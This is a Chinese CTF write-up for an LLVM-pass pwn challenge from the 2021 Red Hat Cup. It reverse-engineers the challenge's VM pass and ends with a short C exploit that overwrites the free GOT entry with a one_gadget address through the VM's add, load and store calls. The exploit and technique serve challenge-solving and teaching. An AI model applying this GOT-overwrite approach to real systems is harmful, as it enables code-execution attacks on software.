GitHub - fghcvjk/2021redhat: 第四届“红帽杯”网络安全大赛 - 初赛

对于llvm pwn
需要三个组件 一个是opt 用于将一个对ir操作的规则so加载到一个lr or bc文件里。从而完成ir层面的处理。

而这里已经给了opt与so 我们要写的就是bc去利用这个opt。

1
2
3
4
5
6
[*] '/home/squ/prac/pwn/opt-8'
Arch: amd64-64-little
RELRO: Partial RELRO X
Stack: No canary found X
NX: NX enabled √
PIE: No PIE (0x400000) X

pass练习

假设我要找到一个函数的所有调用

  • 拿到一个function
  • 遍历所有BasicBlock
  • 遍历BB中的所有instruction
  • 根据instruction构造一个CallBase 也就是这个instruction是存在调用的(如果dyn_cast不出来就跳过 说明不是call)
  • getNumOperands可以得到所有操作数 记住 这里和ghidra一样 第一个Operand是函数地址
    1
    %9 = call i32 (ptr, ...) @printf(ptr noundef @.str)
  • 然后通过getArgOperand cast到ConstantInt再getZExtValue就能得到操作数的值 同样的 会有错误情况,比如是一个字符串不是数字 需要continue
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    #include "llvm/Pass.h"
    #include "llvm/IR/Function.h"
    #include "llvm/IR/InstrTypes.h"
    #include "llvm/Support/raw_ostream.h"
    #include "llvm/IR/LegacyPassManager.h"
    #include "llvm/IR/Constants.h"
    #include "llvm/Transforms/IPO/PassManagerBuilder.h"
    #include <iostream>
    using namespace llvm;
    using std::cout;
    using std::endl;
    using std::string;
    /* anonymous namespace. visible only to the current file. */
    namespace {
    struct Squ : public FunctionPass {
    static char ID;
    Squ() : FunctionPass(ID) {}

    /* which overrides an abstract virtual method inherited from FunctionPass. */
    bool runOnFunction(Function &F) override {
    /* print the function name */
    errs().write_escaped(F.getName()) << '\n';
    /* BasicBlock iterator */
    for(auto &BB_i : F){
    /* Istruction iterator */
    for(auto &I_i : BB_i){
    Value *CalledFunction;
    if(auto *CB = dyn_cast<CallBase>(&I_i)){
    CalledFunction = CB->getCalledFunction();
    StringRef Name = CalledFunction->getName();
    unsigned int num = CB->getNumOperands();

    errs() << "\tCall : " << Name << " with " \
    << num << " argus" << "\n";

    for(auto i = 0; i < num - 1; i++){
    ConstantInt *ci = dyn_cast<ConstantInt>(CB->getArgOperand(i));
    // assert(ci != NULL);
    if(ci == NULL) continue; // not a digital
    errs() << "\t\t" << ci->getZExtValue();
    }
    errs() << "\n";
    }
    }
    }
    return false;
    }
    }; // end of struct Squ
    } // end of anonymous namespace

    /* LLVM uses ID’s address to identify a pass */
    char Squ::ID = 0;
    /* important here for cmd-line use */
    static RegisterPass<Squ> X("squ", "squ Pass",
    false /* Only looks at CFG */,
    false /* Analysis Pass */);

    static RegisterStandardPasses Y(
    PassManagerBuilder::EP_EarlyAsPossible,
    [](const PassManagerBuilder &Builder,
    legacy::PassManagerBase &PM) { PM.add(new Squ()); });

分析

不过首先先分析他的IR规则 找到start 这就是ir对象的注册点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int start()
{
int v1; // [rsp+18h] [rbp-68h]
int v2; // [rsp+28h] [rbp-58h]

if ( "VMPass" )
v2 = strlen("VMPass");
else
v2 = 0;
if ( "VMPass" )
v1 = strlen("VMPass");
else
v1 = 0;
sub_6510((unsigned int)&unk_20E990, (unsigned int)"VMPass", v2, (unsigned int)"VMPass", v1, 0, 0);
return __cxa_atexit(func, &unk_20E990, &off_20E548);
}

找到虚表(Pass类)

这个6830就是runOnFunction

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 __fastcall sub_6830(__int64 a1, llvm::Value *a2)
{
__int64 v2; // rdx
bool v4; // [rsp+7h] [rbp-119h]
size_t v5; // [rsp+10h] [rbp-110h]
const void *Name; // [rsp+28h] [rbp-F8h]
__int64 v7; // [rsp+30h] [rbp-F0h]
int v8; // [rsp+94h] [rbp-8Ch]

Name = (const void *)llvm::Value::getName(a2);
v7 = v2;
if ( "o0o0o0o0" )
v5 = strlen("o0o0o0o0");
else
v5 = 0LL;
v4 = 0;
if ( v7 == v5 )
{
if ( v5 )
v8 = memcmp(Name, "o0o0o0o0", v5);
else
v8 = 0;
v4 = v8 == 0;
}
if ( v4 )
trigger(a1, a2);
return 0LL;
}

断点在Name后可以看到 llvm::Value::getName 获得的是函数名

1
2
pwndbg> x/s $rax
0x8241f0: "function1"

也就是我们函数名要为o0o0o0o0 才能进入

然后跟入 此处有明显的迭代器痕迹

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 __fastcall trigger(__int64 a1, llvm::Function *a2)
{
__int64 v3; // [rsp+20h] [rbp-30h]
__int64 v4; // [rsp+38h] [rbp-18h] BYREF
__int64 v5[2]; // [rsp+40h] [rbp-10h] BYREF

v5[1] = __readfsqword(0x28u);
v5[0] = llvm::Function::begin(a2);
while ( 1 )
{
v4 = llvm::Function::end(a2);
if ( (llvm::operator!=(v5, &v4) & 1) == 0 )
break;
/* 迭代器解引用 */
iter = llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator*(v5);
sub_6B80(a1, iter, 1LL);
llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::BasicBlock,false,false,void>,false,false>::operator++(
v5,
0LL);
}
return __readfsqword(0x28u);
}
  • llvm::CallBase::getCalledFunction : Returns the function called

对每个函数遍历后会在sub_6B80中对基本块遍历
从基本块中获取每一个指令 然后getOpcode (比如call store)
取出调用的函数名 比如add(1,2) 这里就取出add

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
while ( 1 )
{
v38 = llvm::BasicBlock::end(a2);
if ( (llvm::operator!=(v39, &v38) & 1) == 0 )
break;
v36 = (llvm::Instruction *)llvm::dyn_cast<llvm::Instruction,llvm::ilist_iterator<llvm::ilist_detail::node_options<llvm::Instruction,false,false,void>,false,false>>((__int64)v39);
if ( (unsigned int)llvm::Instruction::getOpcode(v36) == '7' )
{
v35 = (llvm::CallBase *)llvm::dyn_cast<llvm::CallInst,llvm::Instruction>(v36);
if ( v35 )
{
s1 = (char *)malloc(0x20uLL);
CalledFunction = (llvm::Value *)llvm::CallBase::getCalledFunction(v35);
Name = (_QWORD *)llvm::Value::getName(CalledFunction);
*(_QWORD *)s1 = *Name;
*((_QWORD *)s1 + 1) = Name[1];
*((_QWORD *)s1 + 2) = Name[2];
*((_QWORD *)s1 + 3) = Name[3];

然后就是虚拟机程序了 根据调用的函数来进行虚拟机执行

  • REG_x 分别是LOAD段上的两个地址
  • 这里会先用 llvm::CallBase::getNumOperands 判断有几个参数
  • llvm::CallBase::getArgOperand(v35, 0) 然后获得第一个参数(是类方法,所以rdi是自己的地址,第二个是参数的idx)
  • llvm::dyn_cast对象调用llvm::ConstantInt::getZExtValue 就是是获得这个值的0拓展 GDB验证了一下
  • 然后根据第一个参数是0是1对REG_x中存放的地址处写入别的REG中的内容
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    else if ( !strcmp(s1, "store") )
    {
    if ( (unsigned int)llvm::CallBase::getNumOperands(v35) == 2 )
    {
    v25 = llvm::CallBase::getArgOperand(v35, 0);
    v24 = 0LL;
    v23 = (llvm::ConstantInt *)llvm::dyn_cast<llvm::ConstantInt,llvm::Value>(v25);
    if ( v23 )
    {
    v22 = llvm::ConstantInt::getZExtValue(v23);
    if ( v22 == 1 )
    v24 = REG_1;
    if ( v22 == 2 )
    v24 = REG_2;
    }
    if ( v24 == REG_1 )
    {
    **(_QWORD **)REG_1 = *(_QWORD *)REG_2;
    }
    else if ( v24 == REG_2 )
    {
    **(_QWORD **)REG_2 = *(_QWORD *)REG_1;
    }
    }
    }
    剩下的分析也都大同小异
  • reg1中给到free_got的值 (free就在后面结束被调用)
  • free_got里的内容写给reg2
  • reg2加上偏移得到one_gadget
  • one_gadget store回free_got

由于我懒得换到小版本的libc了,所以就最后验证了一下写回

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void store(int a);
void load(int a);
void add(int a, int b);
void pop(int a);

#define FREE_GOT 0x77e100
void o0o0o0o0(){
add(1, FREE_GOT); // REG_1 = FREE_GOT
load(1); // REG_2 = content of FREE_GOT
add(2, 0x49434); // REG_2 += offset
store(1); // content of REG_1 = REG_2
}
int main(){
o0o0o0o0();
return 0;
}